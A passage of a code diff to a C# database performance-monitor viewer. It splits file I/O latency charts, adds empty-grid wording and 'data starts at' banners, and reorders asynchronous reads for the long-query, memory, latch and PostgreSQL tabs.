+                c = ScottPlot.Color.FromHex(SeriesColors[fileColors.Count % SeriesColors.Length]);
+                fileColors[key] = c;
+            }
+
+            return c;
+        }
 
         bool hasQueuedData = data.Any(d => d.AvgQueuedReadLatencyMs > 0 || d.AvgQueuedWriteLatencyMs > 0);
 
-        foreach (var dbGroup in databases)
+        foreach (var dbGroup in readFiles)
         {
             var points = dbGroup.OrderBy(d => d.CollectionTime).ToList();
             var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
             var readLatency = points.Select(d => d.AvgReadLatencyMs).ToArray();
-            var writeLatency = points.Select(d => d.AvgWriteLatencyMs).ToArray();
-            var color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
-            colorIdx++;
+            var color = ColorOf(dbGroup.Key);
 
-            if (readLatency.Length > 0)
-            {
-                var readPlot = FileIoReadChart.Plot.Add.TimeSeries(times, readLatency);
-                readPlot.LegendText = dbGroup.Key;
-                readPlot.Color = color;
-                ChartStyle.StyleScatter(readPlot);
-                _fileIoReadHover?.Add(readPlot, dbGroup.Key);
-                readMax = Math.Max(readMax, readLatency.Max());
-            }
+            var readPlot = FileIoReadChart.Plot.Add.TimeSeries(times, readLatency);
+            readPlot.LegendText = dbGroup.Key;
+            readPlot.Color = color;
+            ChartStyle.StyleScatter(readPlot);
+            _fileIoReadHover?.Add(readPlot, dbGroup.Key);
+            readMax = Math.Max(readMax, readLatency.Max());
 
-            if (writeLatency.Length > 0)
-            {
-                var writePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, writeLatency);
-                writePlot.LegendText = dbGroup.Key;
-                writePlot.Color = color;
-                ChartStyle.StyleScatter(writePlot);
-                _fileIoWriteHover?.Add(writePlot, dbGroup.Key);
-                writeMax = Math.Max(writeMax, writeLatency.Max());
-            }
-
-            /* Queued I/O overlay — dashed lines showing queue wait portion of latency */
+            /* Queued I/O overlay: dashed lines showing the queue wait portion of latency */
             if (hasQueuedData)
             {
                 var queuedReadLatency = points.Select(d => d.AvgQueuedReadLatencyMs).ToArray();
-                var queuedWriteLatency = points.Select(d => d.AvgQueuedWriteLatencyMs).ToArray();
-
                 if (queuedReadLatency.Any(v => v > 0))
                 {
                     var qReadPlot = FileIoReadChart.Plot.Add.TimeSeries(times, queuedReadLatency);
@@ -176,7 +169,26 @@ private void RenderFileIoLatencyCharts(List<FileIoLatencyPoint> data, DateTime s
                     qReadPlot.LinePattern = ScottPlot.LinePattern.Dashed;
                     _fileIoReadHover?.Add(qReadPlot, $"{dbGroup.Key} (queued)");
                 }
+            }
+        }
+
+        foreach (var dbGroup in writeFiles)
+        {
+            var points = dbGroup.OrderBy(d => d.CollectionTime).ToList();
+            var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
+            var writeLatency = points.Select(d => d.AvgWriteLatencyMs).ToArray();
+            var color = ColorOf(dbGroup.Key);
 
+            var writePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, writeLatency);
+            writePlot.LegendText = dbGroup.Key;
+            writePlot.Color = color;
+            ChartStyle.StyleScatter(writePlot);
+            _fileIoWriteHover?.Add(writePlot, dbGroup.Key);
+            writeMax = Math.Max(writeMax, writeLatency.Max());
+
+            if (hasQueuedData)
+            {
+                var queuedWriteLatency = points.Select(d => d.AvgQueuedWriteLatencyMs).ToArray();
                 if (queuedWriteLatency.Any(v => v > 0))
                 {
                     var qWritePlot = FileIoWriteChart.Plot.Add.TimeSeries(times, queuedWriteLatency);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Filters.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Filters.cs
index d59daef124..a5fd2575b3 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Filters.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Filters.cs
@@ -69,6 +69,13 @@ private void InitializeFilterManagers()
         _longQueryFilterMgr = new DataGridFilterManager<ViewerLongQueryRow>(LongQueryCompletionsGrid);
         _blockedProcessFilterMgr = new DataGridFilterManager<ViewerBlockedProcessRow>(BlockedProcessReportGrid);
         _deadlockFilterMgr = new DataGridFilterManager<DeadlockProcessDetail>(DeadlockGrid);
+        /* Empty-state wording (F15): a grid that comes back with no rows says what is missing, in the words the System Events
+           sub-tabs use, instead of showing a bare header row. Grids without wording here say "No rows to show.". */
+        EmptyState.SetText(QuerySnapshotsGrid, "No active queries in the selected time window.");
+        EmptyState.SetText(ProcedureStatsGrid, "No procedure executions in the selected time window.");
+        EmptyState.SetText(BlockedProcessReportGrid, "No blocked process reports in the selected time window.");
+        EmptyState.SetText(DeadlockGrid, "No deadlocks in the selected time window.");
+        EmptyState.SetText(QueryStoreRegressionsGrid, QueryStoreRegressionsEmptyText);
         _querySnapshotsFilterMgr = new DataGridFilterManager<ViewerQuerySnapshotRow>(QuerySnapshotsGrid);
         _queryStatsFilterMgr = new DataGridFilterManager<ViewerQueryStatsRow>(QueryStatsGrid);
         _procStatsFilterMgr = new DataGridFilterManager<ViewerProcedureStatsRow>(ProcedureStatsGrid);
@@ -139,7 +146,7 @@ against contention that has already finished. */
         /* Where the collector cannot run (Azure SQL Database) or has never run for this server, an empty grid says so. Keyed on the
            unfiltered row count. */
         await ShowEngineGapAsync(ServerConfigNoDataMessage, "server_config", serverConfigTask.Result.Count);
-        await ShowEngineGapAsync(TraceFlagsNoDataMessage, "trace_flags", traceFlagsTask.Result.Count);
+        await ShowEngineGapAsync(TraceFlagsNoDataMessage, "trace_flags", traceFlagsTask.Result.Count, keepsOwnEmptyText: true);
     }
 
     /* Host/apply plumbing lives in the shared Ui controller. Lazy (a field initializer can't reference the
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.HypotheticalIndex.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.HypotheticalIndex.cs
index f989f7c50a..5ee0163d4d 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.HypotheticalIndex.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.HypotheticalIndex.cs
@@ -43,7 +43,7 @@ public partial class ViewerServerTab
 {
     private async void TestHypotheticalIndex_Click(object sender, RoutedEventArgs e)
     {
-        if (PgPredicateStatsGrid.SelectedItem is not DarlingPgPredicateStatsReader.PgPredicateStatRow row)
+        if (PgPredicateStatsGrid.SelectedItem is not PgDisplay.PredicateStatRow selected)
         {
             MessageBox.Show(
                 "Select a predicate row first. The experiment is about one column on one table, taken from " +
@@ -52,6 +52,8 @@ private async void TestHypotheticalIndex_Click(object sender, RoutedEventArgs e)
             return;
         }
 
+        var row = selected.Source;
+
         if (string.IsNullOrWhiteSpace(row.SchemaName) || string.IsNullOrWhiteSpace(row.TableName) || string.IsNullOrWhiteSpace(row.ColumnName))
         {
             MessageBox.Show(
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LatchSpinlock.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LatchSpinlock.cs
index a8f479d4b6..22acbde640 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LatchSpinlock.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LatchSpinlock.cs
@@ -62,6 +62,7 @@ private async Task LoadLatchSpinlockAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
+        /* Four reads in flight for the join below; the two data-start probes run after it under their own scope (#4966). */
         using var readFanOut = ViewerReadFanOut.Of(4);
 
         var latchTrendTask = _dataService.GetLatchStatsTrendAsync(_server.ServerId, startUtc, endUtc);
@@ -71,10 +72,21 @@ private async Task LoadLatchSpinlockAsync()
 
         await Task.WhenAll(latchTrendTask, latchSnapshotTask, spinlockTrendTask, spinlockSnapshotTask);
 
+        /* The join is over: free its width before the probes read again, so they are priced against two reads, not four finished ones. */
+        readFanOut.Release();
+
         RenderLatchStatsChart(latchTrendTask.Result);
         LatchStatsGrid.ItemsSource = latchSnapshotTask.Result;
         RenderSpinlockStatsChart(spinlockTrendTask.Result);
         SpinlockStatsGrid.ItemsSource = spinlockSnapshotTask.Result;
+
+        /* #4966: each chart draws a flat zero over an empty stretch, so each says where its collector's coverage starts. The probes stay OUT
+           of the join above: a probe that throws costs the chart's note (DataStartOrNullAsync catches it), never the rows. */
+        using var probeFanOut = ViewerReadFanOut.Of(2);
+        var latchDataStartTask = _dataService.GetLatchStatsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var spinlockDataStartTask = _dataService.GetSpinlockStatsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        UpdateTruncationBanner(LatchStatsTruncationBanner, await DataStartOrNullAsync(latchDataStartTask, "Latch Stats"), startUtc);
+        UpdateTruncationBanner(SpinlockStatsTruncationBanner, await DataStartOrNullAsync(spinlockDataStartTask, "Spinlock Stats"), startUtc);
     }
 
     private void RenderLatchStatsChart(List<LatchStatsTrendPoint> data)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs
index 598bde493d..5af6758d45 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs
@@ -6,14 +6,62 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
 using System.ComponentModel;
+using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
+using PerformanceMonitor.Collectors;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
 public partial class ViewerServerTab
 {
+    /// <summary>
+    /// The disabled-trace banner for a target of <paramref name="engineEdition"/>: where the switch is, then where
+    /// the session lives (<see cref="LongQueryCompletionsCollector.SessionScopeSentence"/>). On Azure SQL Database the
+    /// session is per monitored database, so the banner must not say it is on the server.
+    /// </summary>
+    internal const string LongQueriesSwitchLocation = "Settings → Collection Schedule → Edit Collector Schedules…";
+
+    internal static string LongQueriesDisabledText(int engineEdition) =>
+        "The long-query completion trace is OFF for this server. It is opt-in because a completion trace adds overhead "
+        + "on busy servers. Turn it on in Settings → Collection Schedule → Edit Collector Schedules…, then tick "
+        + "the 'long_query_completions' Enabled box. "
+        + LongQueryCompletionsCollector.SessionScopeSentence(engineEdition == CollectorEngineCapability.AzureSqlDatabaseEngineEdition);
+
+    /// <summary>
+    /// The "trace is off" note's answer from the trace check: true when the trace is on (the note hides), false when it is off
+    /// (the note shows), null when the check failed. A failed check is logged (<paramref name="warn"/> takes the log source and
+    /// the message, <see cref="ViewerLogger.Warn"/> by default) and answers null, so the caller leaves the note as it was.
+    /// </summary>
+    internal static async Task<bool?> TraceEnabledOrNullAsync(Task<bool> check, Action<string, string>? warn = null)
+    {
+        try
+        {
+            return await check;
+        }
+        catch (Exception ex)
+        {
+            (warn ?? ViewerLogger.Warn)(
+                "ViewerServerTab",
+                $"Long Queries: the trace check failed, so the \"trace is off\" note is left as it was | {ex.GetType().Name}: {ex.Message}");
+            return null;
+        }
+    }
+
+    /// <summary>Sets the "trace is off" note and the empty grid text from the trace check (see <see cref="TraceEnabledOrNullAsync"/>); never throws.</summary>
+    private async Task ApplyTraceNoteAsync(Task<bool> check)
+    {
+        if (await TraceEnabledOrNullAsync(check) is bool traceEnabled)
+        {
+            LongQueriesDisabledWarning.Visibility = traceEnabled ? Visibility.Collapsed : Visibility.Visible;
+            /* Release walk V12a: the empty grid says why it is empty (the trace is opt-in and off), not the generic "No data". */
+            PerformanceMonitor.Ui.EmptyState.SetText(LongQueryCompletionsGrid,
+                PerformanceMonitor.Ui.LongQueriesEmptyText.Text(traceEnabled, LongQueriesSwitchLocation));
+        }
+    }
+
     /// <summary>
     /// Long Queries inner tab (#1496): completed long-running queries (rpc/batch over the duration
     /// threshold) plus attentions (cancels/timeouts) from the opt-in XE session, windowed on the toolbar's
@@ -22,15 +70,37 @@ public partial class ViewerServerTab
     /// (Settings → Collection Schedule → Edit Collector Schedules… → the Enabled box). The grid applies a
     /// view-only DESCENDING-by-duration sort, never touching the reader's chronological ORDER BY.
     /// </summary>
-    private async Task LoadLongQueriesAsync()
+    private async Task LoadLongQueriesAsync(ViewerLoadTimer? timer = null)
     {
-        LongQueriesDisabledWarning.Visibility = await _dataService.GetLongQueryTraceEnabledAsync(_server.ServerId)
-            ? Visibility.Collapsed
-            : Visibility.Visible;
+        LongQueriesDisabledWarning.Text = LongQueriesDisabledText(_server.EngineEdition);
 
+        /* #5555: the trace check does not depend on the grid's reads, so it starts beside them and is awaited once the grid is in.
+           It used to be awaited first, which put one whole store round trip in front of the grid's two reads on every load. */
+        var traceTask = Timed(timer, "trace check", _dataService.GetLongQueryTraceEnabledAsync(_server.ServerId));
         var (startUtc, endUtc) = GetWindowUtc();
-        var rows = await _dataService.GetRecentLongQueryCompletionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var dataStartTask = Timed(timer, "data start", _dataService.GetLongQueriesDataStartAsync(_server.ServerId, startUtc, endUtc));
+        var dataReadTask = Timed(timer, "grid read", _dataService.GetRecentLongQueryCompletionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        try
+        {
+            await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Long Queries");
+        }
+        catch
+        {
+            /* The grid's own error is the one the user sees, and at once: nothing here waits for the trace check. The note still
+               follows the check's answer when the check finishes (as it did when the check was awaited first), through a helper
+               that observes a failed check. */
+            _ = ApplyTraceNoteAsync(traceTask);
+            throw;
+        }
+
+        /* #5555: the trace check only drives the note, so a failed check leaves the note as it was (logged) and the good grid is bound. */
+        await ApplyTraceNoteAsync(traceTask);
+        var rows = dataReadTask.Result;
         _longQueryFilterMgr!.UpdateData(rows);
+        /* #4966: the read windows on collection_time but the grid shows event_time, and a first collection stores the events
+           the session still held, so the notice names the earlier of the coverage start and the earliest event shown; a full
+           page (the read keeps the newest 200) names its oldest event. */
+        await ShowEventDataStartAsync(LongQueriesTruncationBanner, dataStartTask, "Long Queries", startUtc, rows.Select(r => r.EventTime), ViewerDataService.LongQueriesRowCap);
 
         SetDefaultSortIfNone(LongQueryCompletionsGrid, "DurationMicroseconds", ListSortDirection.Descending);
     }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs
index dcf691503a..86a484d648 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs
@@ -94,16 +94,24 @@ private async Task LoadMemoryAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        using var readFanOut = ViewerReadFanOut.Of(6);
+        /* Seven reads in flight: the six feeds below and the pressure chart's data-start probe (#4966). */
+        using var readFanOut = ViewerReadFanOut.Of(7);
 
         var latestTask = _dataService.GetLatestMemoryStatsAsync(_server.ServerId);
         var trendTask = _dataService.GetMemoryTrendAsync(_server.ServerId, startUtc, endUtc);
         var grantTrendTask = _dataService.GetMemoryGrantTrendAsync(_server.ServerId, startUtc, endUtc);
         var clerkTypesTask = _dataService.GetDistinctMemoryClerkTypesAsync(_server.ServerId, startUtc, endUtc);
         var grantChartTask = _dataService.GetMemoryGrantChartDataAsync(_server.ServerId, startUtc, endUtc);
+        /* #4966: the chart's data-start probe starts beside its read and takes the same window, worked out once above. It stays OUT of
+           the join below, so a probe that throws costs the chart's note (DataStartAnswerAsync catches it at the banner step) and not
+           the chart's rows. */
+        var pressureDataStartTask = _dataService.GetMemoryPressureEventsDataStartAsync(_server.ServerId, startUtc, endUtc);
         var pressureTask = _dataService.GetMemoryPressureEventsAsync(_server.ServerId, startUtc, endUtc);
 
-        await Task.WhenAll(latestTask, trendTask, grantTrendTask, clerkTypesTask, grantChartTask, pressureTask);
+        /* #5022: a join that throws skips the banner step below, so the probe would go unawaited. The helper watches it then, and a probe
+           that fails later is a warning and not an unobserved-exception Error. */
+        await AwaitReadWatchingProbeAsync(
+            Task.WhenAll(latestTask, trendTask, grantTrendTask, clerkTypesTask, grantChartTask, pressureTask), pressureDataStartTask, "Memory Pressure Events");
 
         /* The six are done, and this method reads the store twice more below — the clerk chart and the
            whole Plan Cache sub-tab, which declares its own fan-out. Release here or those inherit this
@@ -113,7 +121,8 @@ width and the nested one multiplies against a contention count that no longer ex
         RenderMemorySummary(latestTask.Result);
         RenderMemoryChart(trendTask.Result, grantTrendTask.Result, startUtc, endUtc);
         RenderMemoryGrantCharts(grantChartTask.Result, startUtc, endUtc);
-        RenderMemoryPressureEventsChart(pressureTask.Result);
+        RenderMemoryPressureEventsChart(pressureTask.Result, startUtc, endUtc);
+        await ShowMemoryPressureEventsDataStartAsync(MemoryPressureEventsTruncationBanner, pressureDataStartTask, startUtc, pressureTask.Result);
         await ShowEngineGapAsync(MemoryPressureEventsNoDataMessage, "memory_pressure_events", pressureTask.Result.Count);
         PopulateMemoryClerkPicker(clerkTypesTask.Result);
         await UpdateMemoryClerksChartFromPickerAsync();
@@ -145,6 +154,7 @@ never names a figure one way and shows its neighbor the other. */
             AvailablePageFileText.Text = "--";
             MemoryStateText.Text = "--";
             SqlMemoryModelText.Text = "--";
+            MemoryCollectedText.Text = HistoryTime.SnapshotCollected(null, "--");
             return;
         }
 
@@ -158,6 +168,9 @@ never names a figure one way and shows its neighbor the other. */
         AvailablePageFileText.Text = PageFileText(stats.AvailablePageFileMb, _server.EngineEdition);
         MemoryStateText.Text = SystemMemoryStateText(stats.SystemMemoryState, _server.EngineEdition);
         SqlMemoryModelText.Text = MemoryModelText(stats.SqlMemoryModel);
+        /* #4966: the strip draws the newest snapshot of the whole store, not the chart window below it, so it says when that
+           snapshot was collected. */
+        MemoryCollectedText.Text = HistoryTime.SnapshotCollected(stats.CollectionTime, "--");
     }
 
     private static string FormatMb(double mb)
@@ -390,21 +403,17 @@ the two dashed ceiling series. */
     /// the X range is the toolbar's settable window and every bar/bound is the UTC
     /// instant (see the class remarks on pressure sample_time).
     /// </summary>
-    private void RenderMemoryPressureEventsChart(List<MemoryPressureEventRow> data)
+    private void RenderMemoryPressureEventsChart(List<MemoryPressureEventRow> data, DateTime startUtc, DateTime endUtc)
     {
         ClearChart(MemoryPressureEventsChart);
         _memoryPressureEventsHover?.Clear();
         ApplyTheme(MemoryPressureEventsChart);
 
-        var (startUtc, endUtc) = GetWindowUtc();
+        /* #4966: the window is the load's, worked out once for the read, the probe, this axis and the banner. */
         double xMin = startUtc.ToOADate();
         double xMax = endUtc.ToOADate();
 
-        /* Only count rows where SQL Server reported actual pressure (indicator >= 2 matches sp_pressuredetector). */
-        var pressureRows = data
-            .Where(d => d.MemoryIndicatorsProcess >= 2 || d.MemoryIndicatorsSystem >= 2)
-            .OrderBy(d => d.SampleTime)
-            .ToList();
+        var pressureRows = PressureRowsDrawn(data);
 
         bool hasData = false;
         int maxBarCount = 0;
@@ -498,6 +507,32 @@ private void RenderMemoryPressureEventsChart(List<MemoryPressureEventRow> data)
         MemoryPressureEventsChart.Refresh();
     }
 
+    /// <summary>
+    /// The samples the pressure chart draws, oldest first: only those where SQL Server reported actual pressure (an indicator of 2 or
+    /// more, which matches sp_pressuredetector). The chart and the "Showing since" note take their events from here, so the note never
+    /// names a sample the chart leaves out.
+    /// </summary>
+    internal static List<MemoryPressureEventRow> PressureRowsDrawn(IEnumerable<MemoryPressureEventRow> data) =>
+        data
+            .Where(d => d.MemoryIndicatorsProcess >= 2 || d.MemoryIndicatorsSystem >= 2)
+            .OrderBy(d => d.SampleTime)
+            .ToList();
+
+    /// <summary>
+    /// Raises or hides the "Showing since" banner of the Memory Pressure Events chart (#4966), as Lite's chart has it. The chart draws
+    /// bars only where pressure was recorded, so a span with no data read as a span with no pressure. The read filters on each event's
+    /// own time, so the event rule applies (<see cref="ShowEventDataStartAsync"/>): the note names the earlier of the coverage start
+    /// the probe found and the earliest event the chart draws (<see cref="PressureRowsDrawn"/>; the read has no row cap). A server's first
+    /// collection stores the ring buffer's history, so an event can come from before the coverage, and the note then names that event. A
+    /// probe that throws costs this note and not the chart.
+    /// </summary>
+    /// <param name="banner">The chart's banner.</param>
+    /// <param name="probe">The chart's data-start probe, started beside its read.</param>
+    /// <param name="startUtc">The start of the window the chart just drew, the same one its read and its probe took.</param>
+    /// <param name="rows">The rows the read returned.</param>
+    internal static Task ShowMemoryPressureEventsDataStartAsync(TextBlock banner, Task<DateTime?> probe, DateTime startUtc, IEnumerable<MemoryPressureEventRow> rows) =>
+        ShowEventDataStartAsync(banner, probe, "Memory Pressure Events", startUtc, PressureRowsDrawn(rows).Select(r => (DateTime?)r.SampleTime));
+
     /* ========== Memory Clerks Picker (mirrors ViewerServerTab.Perfmon.cs) ========== */
 
     private void PopulateMemoryClerkPicker(List<string> clerkTypes)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PlanCache.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PlanCache.cs
index ba50672567..9451134bcd 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PlanCache.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PlanCache.cs
@@ -113,6 +113,7 @@ private void RenderPlanCacheSummary(PlanCacheSummary summary)
             PlanCacheBloatLevelText.Text = "--";
             PlanCacheBloatLevelText.Foreground = System.Windows.Media.Brushes.Gray;
             PlanCacheRecommendationText.Text = "";
+            PlanCacheCollectedText.Text = HistoryTime.SnapshotCollected(null, "--");
             return;
         }
 
@@ -124,6 +125,8 @@ private void RenderPlanCacheSummary(PlanCacheSummary summary)
         PlanCacheRecommendationText.Text = bloat.Recommendation;
 
         PlanCacheTotalPlansText.Text = summary.TotalPlans.ToString("N0", CultureInfo.CurrentCulture);
+        /* #4966: the totals are one snapshot (the newest in the window); say when it was collected. */
+        PlanCacheCollectedText.Text = HistoryTime.SnapshotCollected(summary.CollectionTime, "--");
 
         /* oldest_plan_create_time comes from a DMV (sys.dm_exec_query_stats.creation_time) in the monitored
            server's local clock, which the viewer — having no per-server offset — measures against UtcNow:
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs
index a1e91f5860..c7395a345c 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs
@@ -179,12 +179,19 @@ private async Task LoadPgCpuUtilizationAsync(DateTime startUtc, DateTime endUtc)
         {
             PgCpuGrid.ItemsSource = null;
             PgCpuNote.Text = PanelNote("pg_cpu_utilization", 0, string.Empty);
+            PgCpuDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgCpuUtilizationHistoryAsync(_server.ServerId, startUtc, endUtc);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_cpu_utilization", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgCpuUtilizationHistoryAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL CPU");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         PgCpuGrid.ItemsSource = rows;
+        UpdateTruncationBanner(PgCpuDataStartBanner, await DataStartOrNullAsync(dataStartTask, "PostgreSQL CPU"), startUtc);
         PgCpuNote.Text = PanelNote("pg_cpu_utilization", rows.Count,
             "This collector samples AWS Performance Insights on a 5-minute cadence, so a server added "
             + "recently may have nothing here yet.");
@@ -210,7 +217,7 @@ private async Task LoadPgExtensionsAsync(DateTime startUtc, DateTime endUtc)
 
         var rows = await _dataService.GetPgExtensionAvailabilityAsync(_server.ServerId, startUtc, endUtc);
 
-        PgExtensionsGrid.ItemsSource = rows;
+        PgExtensionsGrid.ItemsSource = rows.Select(PgDisplay.Extension).ToList();
 
         var actionable = rows.Count(r => r.IsMonitoringRelevant && string.Equals(r.State, "available", StringComparison.Ordinal));
         var outdated = rows.Count(r => r.IsMonitoringRelevant && string.Equals(r.State, "outdated", StringComparison.Ordinal));
@@ -257,7 +264,7 @@ private async Task LoadPgServerConfigAsync()
         /* Non-default only in the grid: several hundred parameters sorted alphabetically is a dump, and the
            ones somebody chose are the answer. The full set stays one MCP call away for anyone who wants it. */
         var chosen = rows.Where(r => !r.IsDefault).ToList();
-        PgServerConfigGrid.ItemsSource = chosen;
+        PgServerConfigGrid.ItemsSource = chosen.Select(PgDisplay.ServerConfig).ToList();
 
         var pendingRestart = rows.Where(r => r.PendingRestart).Select(r => r.Name).ToList();
 
@@ -285,7 +292,8 @@ private async Task LoadPgActivityAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        using var readFanOut = ViewerReadFanOut.Of(6);
+        /* Six reads, and the three data-start probes (#4966) started beside them: priced together. */
+        using var readFanOut = ViewerReadFanOut.Of(9);
 
         var countsTask = _dataService.GetPgBlockingCaptureCountsAsync(_server.ServerId, startUtc, endUtc);
         var chainsTask = _dataService.GetPgBlockingChainsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
@@ -307,7 +315,20 @@ own gate and cannot change between now and the query returning. */
             ? Task.FromResult(new DarlingPgStatementReader.PgEvictionInfo(false, null, null))
             : _dataService.GetPgStatementEvictionsAsync(_server.ServerId, startUtc, endUtc);
 
-        await Task.WhenAll(countsTask, chainsTask, cyclesTask, statementsTask, databasesTask, evictionsTask);
+        /* #4966: where each grid's table starts. Started beside the reads and kept OUT of the WhenAll below, so a probe
+           that throws costs only its banner. The blocking chains and cycles read one table and share one banner. */
+        var blockingStartTask = PgCollectorIsGatedOff("pg_blocking") ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_blocking", startUtc, endUtc);
+        var statementsStartTask = statementsGatedOff ? Task.FromResult<DateTime?>(null) : StartPgDataStartProbe("pg_statement_stats", startUtc, endUtc);
+        var databasesStartTask = StartPgDataStartProbe("pg_database_stats", startUtc, endUtc);
+
+        /* #5022: a join that throws skips the banner step, so each probe is watched (nested: one helper call per probe). */
+        await AwaitReadWatchingProbeAsync(
+            AwaitReadWatchingProbeAsync(
+                AwaitReadWatchingProbeAsync(
+                    Task.WhenAll(countsTask, chainsTask, cyclesTask, statementsTask, databasesTask, evictionsTask),
+                    blockingStartTask, "PostgreSQL Blocking"),
+                statementsStartTask, "PostgreSQL Top Queries"),
+            databasesStartTask, "PostgreSQL Database Stats");
 
         /* Released here rather than at the closing brace: the four sub-tab loads at the end of this method
            run after these five have finished, so they do not contend with them. */
@@ -347,6 +368,10 @@ reason the read carries capture counts from collection_log. */
         PgDatabasesNote.Text = PanelNote("pg_database_stats", databasesTask.Result.Count,
             "No database counter moved in this window.");
 
+        UpdateTruncationBanner(PgBlockingDataStartBanner, await DataStartOrNullAsync(blockingStartTask, "PostgreSQL Blocking"), startUtc);
+        UpdateTruncationBanner(PgStatementsDataStartBanner, await DataStartOrNullAsync(statementsStartTask, "PostgreSQL Top Queries"), startUtc);
+        UpdateTruncationBanner(PgDatabasesDataStartBanner, await DataStartOrNullAsync(databasesStartTask, "PostgreSQL Database Stats"), startUtc);
+
         await LoadPgLockStatsAsync(startUtc, endUtc);
         await LoadPgKernelStatsAsync(startUtc, endUtc);
         await LoadPgPlanCaptureAsync(startUtc, endUtc);
@@ -366,12 +391,20 @@ private async Task LoadPgLogEventsAsync(DateTime startUtc, DateTime endUtc)
         {
             PgLogEventsGrid.ItemsSource = null;
             PgLogEventsNote.Text = PanelNote("pg_log_events", 0, string.Empty);
+            PgLogEventsDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var page = await _dataService.GetPgLogEventsAsync(_server.ServerId, startUtc, endUtc);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_log_events", startUtc, endUtc);
+        var pageTask = _dataService.GetPgLogEventsAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(pageTask, dataStartTask, "PostgreSQL Log Events");
+        var page = pageTask.Result;
+        readFanOut.Release();
 
         PgLogEventsGrid.ItemsSource = page.Rows;
+        await ShowEventDataStartAsync(PgLogEventsDataStartBanner, dataStartTask, "PostgreSQL Log Events", startUtc,
+            page.Rows.Select(r => (DateTime?)r.OccurredAtUtc), ViewerDataService.PgLogEventsRowCap);
 
         PgLogEventsNote.Text = PanelNote("pg_log_events", page.Rows.Count,
             "No classified log event was stored in this window. That is the healthy answer for the error "
@@ -407,14 +440,21 @@ private async Task LoadPgLockStatsAsync(DateTime startUtc, DateTime endUtc)
         {
             PgLockStatsGrid.ItemsSource = null;
             PgLockStatsNote.Text = PanelNote("pg_lock_stats", 0, string.Empty);
+            PgLockStatsDataStartBanner.Visibility = Visibility.Collapsed;
             return;
         }
 
-        var rows = await _dataService.GetPgLockStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        using var readFanOut = ViewerReadFanOut.Of(2);
+        var dataStartTask = StartPgDataStartProbe("pg_lock_stats", startUtc, endUtc);
+        var rowsTask = _dataService.GetPgLockStatsAsync(_server.ServerId, startUtc, endUtc, PgGridRowLimit);
+        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, "PostgreSQL Lock Stats");
+        var rows = rowsTask.Result;
+        readFanOut.Release();
 
         /* The display row, not the reader's: its Last Seen follows the display mode and sorts by its UTC instant
            (#4766). The counts below read the reader rows, which are unchanged. */
